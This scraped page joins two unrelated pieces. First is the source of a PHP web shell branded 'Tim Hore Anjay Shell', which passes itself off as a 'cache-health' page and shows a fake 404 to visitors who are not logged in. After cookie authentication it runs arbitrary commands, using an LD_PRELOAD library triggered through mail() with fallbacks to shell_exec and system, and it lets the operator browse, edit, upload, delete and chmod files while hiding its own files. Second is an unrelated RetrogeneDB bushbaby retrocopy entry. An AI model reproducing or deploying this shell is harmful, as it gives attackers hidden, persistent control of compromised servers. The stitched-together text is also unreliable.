$u,CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>2, CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_USERAGENT=>isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'Mozilla/5.0')); $r=@curl_exec($c);$code=@curl_getinfo($c,CURLINFO_HTTP_CODE);@curl_close($c); if($code>=400&&strlen($r)>200)return $r;} header('HTTP/1.0 404 Not Found'); $s=isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'Apache'; return "\n404 Not Found\n

Not Found

\n

The requested URL was not found on this server.

\n
{$s} Server at {$_SERVER['HTTP_HOST']} Port {$_SERVER['SERVER_PORT']}
\n"; } /* ---------- auth ---------- */ $_a=false; if(isset($_COOKIE[$_ck])) $_a=hash('sha256',$_COOKIE[$_ck].$_s)===$_h; if(!$_a&&isset($_POST['cache_token'])){ if(hash('sha256',$_POST['cache_token'].$_s)===$_h){setcookie($_ck,$_POST['cache_token'],time()+86400,'/','',false,true);$_a=true;}} if(isset($_GET['lo'])&&$_a){setcookie($_ck,'',time()-3600,'/');setcookie('_cwd','',time()-3600,'/');setcookie('_ld','',time()-3600,'/');$_a=false;} if(!$_a){ header('HTTP/1.0 404 Not Found'); $p=_hlt(); $j=''; if(strpos($p,'')!==false)echo str_replace('',$j.'',$p);else echo $p.$j; exit;} /* ---------- helpers ---------- */ function _tmpdirs(){ $c=array('/dev/shm',sys_get_temp_dir(),'/tmp','/var/tmp',ini_get('upload_tmp_dir')); $ob=ini_get('open_basedir'); if($ob)foreach(explode(PATH_SEPARATOR,$ob)as $p)$c[]=rtrim($p,'/'); return array_values(array_unique(array_filter($c))); } function _fsz($n){ if($n>=1073741824)return round($n/1073741824,1).'G'; if($n>=1048576)return round($n/1048576,1).'M'; if($n>=1024)return round($n/1024,1).'K'; return (string)$n; } /* ---------- executor: async LD_PRELOAD via mail(), fallback direct ---------- */ function _exec($cmd){ global $_so,$_sh; $to=array();foreach(_tmpdirs()as$d){if($d&&@is_writable($d))$to[]=$d;} if(isset($_COOKIE['_ld'])){foreach($to as $i=>$d)if($d==$_COOKIE['_ld']){unset($to[$i]);array_unshift($to,$d);break;}} foreach($to as $d){ $t=$d.'/alfa_'.substr(md5(mt_rand()),0,8).'.so'; $h=$d.'/alfa_oc.so'; $o=$t.'.o'; if(@file_put_contents($t,base64_decode($_so))===false)continue; @chmod($t,0755); if(!@file_exists($h)){if(@file_put_contents($h,base64_decode($_sh))===false){@unlink($t);continue;}@chmod($h,0755);} putenv("LD_PRELOAD={$t}");putenv("_C={$cmd}");putenv("_O={$o}");putenv("_H={$h}"); $st=@mail('a@b.c','',''); putenv('LD_PRELOAD=');putenv('_C=');putenv('_O=');putenv('_H='); @unlink($t); if($st){ setcookie('_ld',$d,time()+3600,'/'); $dl=time()+25; /* < FPM request_terminate_timeout 30s — anti crash worker */ while(time()<$dl){clearstatcache(true,$o);if(@file_exists($o)){$r=@file_get_contents($o);@unlink($o);return $r===false?'':$r;}usleep(50000);} @unlink($o.'.tmp'); return "[timeout 25s: command masih jalan detached (max 15s di .so, output parsial di-rename), coba perintah lebih pendek]"; } @unlink($t); } foreach(array('shell_exec','passthru','system','popen','proc_open')as$f){ if(function_exists($f)){ if($f==='shell_exec')return @shell_exec($cmd); if($f==='passthru'){ob_start();@passthru($cmd);return ob_get_clean();} if($f==='system'){ob_start();@system($cmd);return ob_get_clean();} if($f==='popen'){$h=@popen($cmd,'r');if($h){$r=stream_get_contents($h);@pclose($h);return $r;}} if($f==='proc_open'){$p=proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pipes);if(is_resource($p)){$r=stream_get_contents($pipes[1]).stream_get_contents($pipes[2]);fclose($pipes[1]);fclose($pipes[2]);proc_close($p);return $r;}} } } return '[!] semua jalur exec gagal (mail disabled + direct disabled)'; } function _run($cmd){return _exec("cd ".escapeshellarg($GLOBALS['cwd'])." && ".$cmd);} /* ---------- state ---------- */ $cwd=isset($_POST['cwd'])?$_POST['cwd']:(isset($_COOKIE['_cwd'])?$_COOKIE['_cwd']:getcwd()); if(!is_dir($cwd))$cwd=getcwd()?:'/tmp'; $cmd=isset($_POST['cmd'])?trim($_POST['cmd']):''; $act=isset($_POST['act'])?$_POST['act']:(isset($_GET['act'])?$_GET['act']:''); $out=''; /* ---------- terminal ---------- */ if($cmd!==''){ if(preg_match('/^cd\s+(.+)/',$cmd,$m)){ $tg=trim($m[1]);if($tg==='~')$tg=getenv('HOME')?:'/tmp'; if($tg[0]!=='/')$tg=rtrim($cwd,'/').'/'.$tg; $r=realpath($tg); if($r&&is_dir($r)){$cwd=$r;$out="changed to {$cwd}";}else{$out="cd: no such directory: {$tg}";} }else{$out=_run($cmd);} setcookie('_cwd',$cwd,0,'/'); } /* ---------- download ---------- */ if(isset($_GET['dl'])&&isset($_GET['f'])){ $rf=realpath($_GET['f']); if($rf&&is_file($rf)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($rf).'"');readfile($rf);exit;} } /* ---------- file actions ---------- */ if($act==='save'&&isset($_POST['f'],$_POST['content'])){ $rf=realpath($_POST['f']); if($rf&&is_file($rf)){if(@file_put_contents($rf,$_POST['content'])!==false)$out="saved: {$rf}";else $out="[!] gagal tulis: {$rf}";} else $out="[!] file gak ketemu: {$_POST['f']}"; } if($act==='mkdir'&&isset($_POST['name'])){ $n=rtrim($cwd,'/').'/'.trim($_POST['name']); $out=@mkdir($n,0755)?"mkdir ok: {$n}":"[!] mkdir gagal: {$n}"; } if($act==='mkfile'&&isset($_POST['name'])){ $n=rtrim($cwd,'/').'/'.trim($_POST['name']); $out=@file_put_contents($n,'')!==false?"created: {$n}":"[!] gagal buat: {$n}"; } if($act==='del'&&isset($_POST['f'])){ $rf=realpath($_POST['f']); if($rf){if(is_dir($rf))@rmdir($rf);else @unlink($rf);$out="deleted: {$_POST['f']}";} } if($act==='ren'&&isset($_POST['f'],$_POST['n'])){ $rf=realpath($_POST['f']);$nn=trim($_POST['n']); if($rf&&$nn!==''&&@rename($rf,dirname($rf).'/'.$nn))$out="renamed -> {$nn}";else $out="[!] rename gagal"; } if($act==='chm'&&isset($_POST['f'],$_POST['m'])){ $rf=realpath($_POST['f']);$mm=trim($_POST['m']); if($rf&&preg_match('/^[0-7]{3,4}$/',$mm)&&@chmod($rf,octdec($mm)))$out="chmod {$mm} ok";else $out="[!] chmod gagal"; } if($act==='up'&&!empty($_FILES['files'])){ $n=0; foreach($_FILES['files']['name'] as $i=>$nm){ if($_FILES['files']['error'][$i]===0&&trim($nm)!==''){ if(@move_uploaded_file($_FILES['files']['tmp_name'][$i],rtrim($cwd,'/').'/'.basename($nm)))$n++; } } if(!empty($_POST['xhr'])){echo "OK {$n}";exit;} $out="uploaded {$n} file(s)"; } /* ---------- navigasi (path bar <-> file manager <-> terminal) ---------- */ $edit=null;$rf=null; if(isset($_GET['f'])&&$_GET['f']!==''){ $rf=realpath($_GET['f']); if($rf&&is_dir($rf)){$cwd=$rf;setcookie('_cwd',$cwd,0,'/');} elseif($rf&&is_file($rf)){$edit=$rf;} } /* ---------- daftar direktori ---------- */ $fs=''; if(!$edit){ $d=@scandir($cwd); if($d){ $items=array(); foreach($d as $e){ if($e==='.'||$e==='..'||strpos($e,'alfa')!==false)continue; $items[]=array($e,is_dir(rtrim($cwd,'/').'/'.$e)); } usort($items,function($a,$b){if($a[1]==$b[1])return strcmp($a[0],$b[0]);return $a[1]?-1:1;}); foreach($items as $it){ list($e,$isD)=$it;$p=rtrim($cwd,'/').'/'.$e; $st=@stat($p); $size=$st?_fsz($st['size']):'?'; $perm=$st?substr(sprintf('%o',$st['mode']),-4):'????'; $own='?'; if($st&&function_exists('posix_getpwuid')){$pw=@posix_getpwuid($st['uid']);if($pw)$own=$pw['name'];} $date=$st?date('Y-m-d H:i',$st['mtime']):''; $nm=($isD?'[D] ':'[F] ').$e; $href='?f='.urlencode($p); $jq=json_encode($p,JSON_HEX_APOS|JSON_HEX_QUOT); if($isD)$acts='enter'; else $acts='edit dl'; $acts.=' chmod' .' ren' .' rm'; $fs.='
'.htmlspecialchars($nm).''.$size.''.$perm.''.htmlspecialchars($own).''.$date.''.$acts.'
'; } } } /* ---------- editor ---------- */ $edBody=''; if($edit){ $content=@file_get_contents($edit); $perm=substr(sprintf('%o',@fileperms($edit)),-4); $eq=htmlspecialchars($edit,ENT_QUOTES); $edBody='
'.htmlspecialchars($edit).' ('._fsz(@filesize($edit)).' · '.$perm.') download
← back
'; } /* ---------- UI ---------- */ $pw=function_exists('posix_getpwuid')?posix_getpwuid(posix_geteuid()):null; $user=$pw?$pw['name']:get_current_user();$host=gethostname()?:php_uname('n'); $crumbs='Home'; $acc='';foreach(explode('/',trim($cwd,'/'))as$seg){if($seg==='')continue;$acc.='/'.$seg;$crumbs.='/'.$seg.'';} if($cwd==='/')$crumbs='Home/'; $dbg=array('ffi'=>extension_loaded('ffi')?'on':'off','dl'=>function_exists('dl')?'on':'off','pcntl'=>(function_exists('pcntl_fork')&&function_exists('pcntl_exec'))?'on':'off','tmp'=>isset($_COOKIE['_ld'])?$_COOKIE['_ld']:'(auto)','mail'=>ini_get('sendmail_path')?:'(none)'); $cq=htmlspecialchars($cwd,ENT_QUOTES); $mkHtml=''; $upHtml=''; if(!$edit){ $mkHtml='
'; $upHtml='
upload: 0%
'; } ?> cache-health
Tim Hore Anjay Shellv4.1-mod-rhel9
$v)echo htmlspecialchars($k.'='.$v).'  ';?>
NameSizePermOwnerDateAction
cache-health 3.1 — Tim Hore Anjay modernized · LD_PRELOAD exec · RHEL7/8/9 ready
RetrogeneDB - Retrocopy retro_ogar_1069 details

RetrogeneDB ID:

retro_ogar_1069

Retrocopy
location
Organism:Bushbaby (Otolemur garnettii)
Coordinates:GL873535.1:13424309..13424736(+)
Located in intron of:ENSOGAG00000016067
Retrocopy
information
Ensembl ID:None
Aliases:None
Status:NOVEL
Parental gene
information
Parental gene summary:
Parental gene symbol:RPL12
Ensembl ID:ENSOGAG00000000597
Aliases:None
Description:ribosomal protein L12 [Source:HGNC Symbol;Acc:10302]


Retrocopy-Parental alignment summary:






>retro_ogar_1069
TCTGCCTTTACCCCCAAGATTGTCCTCTGAGTCTCTCTCCAAAGAAGGTTGGTGATGATACTGCCAGGGCAGCCCGTGAC
TGGAAGGGTCTGAGGATTACAGTGAAACTGACTATTCAGAACAGACAGGCCCCCAGTGAAGTGGTACTATTTGCCTCTTC
CCTAATCATCAAAGTCCTTAAGGAACCACCAAGAGACAGAAAGAAAGAAAGAAACAGAAATTTTAAACACAATGGAAATA
TCAAAATGACAAAGCTGTCAACATTGCCAAACAGATACAGCACCAATCTTTAGCCAGAGAACTCTCTGGAAGAACCATTG
AAGAGATCCTGGGGACTGCCTATTCTGTGGGCTGCAATGTTGATGGCCACCACCCTAATGACATCACAGATGATGTAAAC
ACTGGTGCAGTGGAATGCCCAGCTGTT

ORF - retro_ogar_1069 Open Reading Frame is not conserved.
Retrocopy - Parental Gene Alignment summary:
Percent Identity: 74.48 %
Parental protein coverage: 84.85 %
Number of stop codons detected: 0
Number of frameshifts detected: 2


Retrocopy - Parental Gene Alignment:

ParentalSALAPKIG-PLGLSPKKVGDDIAKATGDWKGLRITVKLTIQNRQAQIEVVPSASALIIKALKEPPRDRKK
SA..PKI..PL.LSPKKVGDD.A.A..DWKGLRITVKLTIQNRQA..EVV..AS.LIIK.LKEPPRDRKK
RetrocopySAFTPKIV<PLSLSPKKVGDDTARAARDWKGLRITVKLTIQNRQAPSEVVLFASSLIIKVLKEPPRDRKK
ParentalQ--KNIKHNGNITF-DEIVNIARQMRHRSLARELSG-TIKEILGTAQSVGCNVDGRHPHDIIDDINSGAV
....N.KHNGNI...D..VNIA.Q..H.SLARELSG.TI.EILGTA.SVGCNVDG.HP.DI.DD.N.GAV
RetrocopyERNRNFKHNGNIKM<DKAVNIAKQIQHQSLARELSGRTIEEILGTAYSVGCNVDGHHPNDITDDVNTGAV
ParentalECPAV
ECPAV
RetrocopyECPAV

Legend:
*Stop codon
>Forward frameshift by one nucleotide
<Reverse frameshift by one nucleotide






Otolemur garnettii was not studied using RNA-Seq expression data.
Otolemur garnettii was not studied using ChIP-Seq data.
Otolemur garnettii was not studied using EST data.
Otolemur garnettii was not studied using FANTOM5 data.
retro_ogar_1069 was not experimentally validated.

Retrocopy orthology:
Otolemur garnettii does not belong to any of the species groups (eutheria, teleost or neognath), studied for retrocopy-based homology. For more information about studied groups, please go to help section.

Parental genes homology:
Parental genes homology involve 26 parental genes, and 469 retrocopies.

Species Parental gene accession Retrocopies number
Ailuropoda melanoleuca ENSAMEG0000001671215 retrocopies
Bos taurus ENSBTAG000000069633 retrocopies
Canis familiaris ENSCAFG0000002013631 retrocopies
Callithrix jacchus ENSCJAG000000180821 retrocopy
Cavia porcellus ENSCPOG0000001376918 retrocopies
Equus caballus ENSECAG0000001062217 retrocopies
Echinops telfairi ENSETEG000000069417 retrocopies
Felis catus ENSFCAG0000001030231 retrocopies
Gorilla gorilla ENSGGOG0000000064834 retrocopies
Latimeria chalumnae ENSLACG000000153733 retrocopies
Loxodonta africana ENSLAFG0000001766910 retrocopies
Macropus eugenii ENSMEUG0000000738012 retrocopies
Myotis lucifugus ENSMLUG000000095512 retrocopies
Myotis lucifugus ENSMLUG000000134041 retrocopy
Macaca mulatta ENSMMUG000000004222 retrocopies
Monodelphis domestica ENSMODG000000045719 retrocopies
Mustela putorius furoENSMPUG0000001383234 retrocopies
Mus musculus ENSMUSG000000389001 retrocopy
Oryctolagus cuniculus ENSOCUG000000049029 retrocopies
Otolemur garnettii ENSOGAG00000000597 120 retrocopies
retro_ogar_1002, retro_ogar_1010, retro_ogar_1049, retro_ogar_1069 , retro_ogar_1106, retro_ogar_1117, retro_ogar_1137, retro_ogar_1140, retro_ogar_1181, retro_ogar_1188, retro_ogar_1189, retro_ogar_1192, retro_ogar_1230, retro_ogar_1247, retro_ogar_1263, retro_ogar_1295, retro_ogar_1331, retro_ogar_1341, retro_ogar_1408, retro_ogar_1409, retro_ogar_1427, retro_ogar_1457, retro_ogar_1464, retro_ogar_1489, retro_ogar_1503, retro_ogar_1534, retro_ogar_1536, retro_ogar_1550, retro_ogar_1569, retro_ogar_1570, retro_ogar_1579, retro_ogar_1606, retro_ogar_1621, retro_ogar_1709, retro_ogar_1717, retro_ogar_1739, retro_ogar_1789, retro_ogar_1803, retro_ogar_1810, retro_ogar_1825, retro_ogar_1836, retro_ogar_1881, retro_ogar_1885, retro_ogar_1916, retro_ogar_1923, retro_ogar_1937, retro_ogar_1941, retro_ogar_1948, retro_ogar_1969, retro_ogar_1975, retro_ogar_1987, retro_ogar_2055, retro_ogar_2115, retro_ogar_2134, retro_ogar_2172, retro_ogar_2179, retro_ogar_2180, retro_ogar_2208, retro_ogar_2209, retro_ogar_2230, retro_ogar_2291, retro_ogar_2323, retro_ogar_2387, retro_ogar_2483, retro_ogar_2495, retro_ogar_2511, retro_ogar_2570, retro_ogar_2620, retro_ogar_2622, retro_ogar_2624, retro_ogar_2749, retro_ogar_2768, retro_ogar_2809, retro_ogar_2904, retro_ogar_2935, retro_ogar_2945, retro_ogar_2953, retro_ogar_2980, retro_ogar_3004, retro_ogar_3017, retro_ogar_303, retro_ogar_3035, retro_ogar_3128, retro_ogar_3135, retro_ogar_3164, retro_ogar_3394, retro_ogar_3489, retro_ogar_395, retro_ogar_398, retro_ogar_412, retro_ogar_427, retro_ogar_452, retro_ogar_480, retro_ogar_512, retro_ogar_513, retro_ogar_538, retro_ogar_560, retro_ogar_587, retro_ogar_624, retro_ogar_636, retro_ogar_653, retro_ogar_655, retro_ogar_667, retro_ogar_668, retro_ogar_669, retro_ogar_683, retro_ogar_700, retro_ogar_734, retro_ogar_737, retro_ogar_744, retro_ogar_747, retro_ogar_775, retro_ogar_818, retro_ogar_853, retro_ogar_868, retro_ogar_901, retro_ogar_927, retro_ogar_956, retro_ogar_962, retro_ogar_964,
Ochotona princeps ENSOPRG0000001107821 retrocopies
Pongo abelii ENSPPYG0000001962244 retrocopies
Pan troglodytes ENSPTRG000000228081 retrocopy
Rattus norvegicus ENSRNOG000000162204 retrocopies
Sus scrofa ENSSSCG0000000561214 retrocopies
Tupaia belangeri ENSTBEG0000000630425 retrocopies



Copyright © RetrogeneDB 2014-2017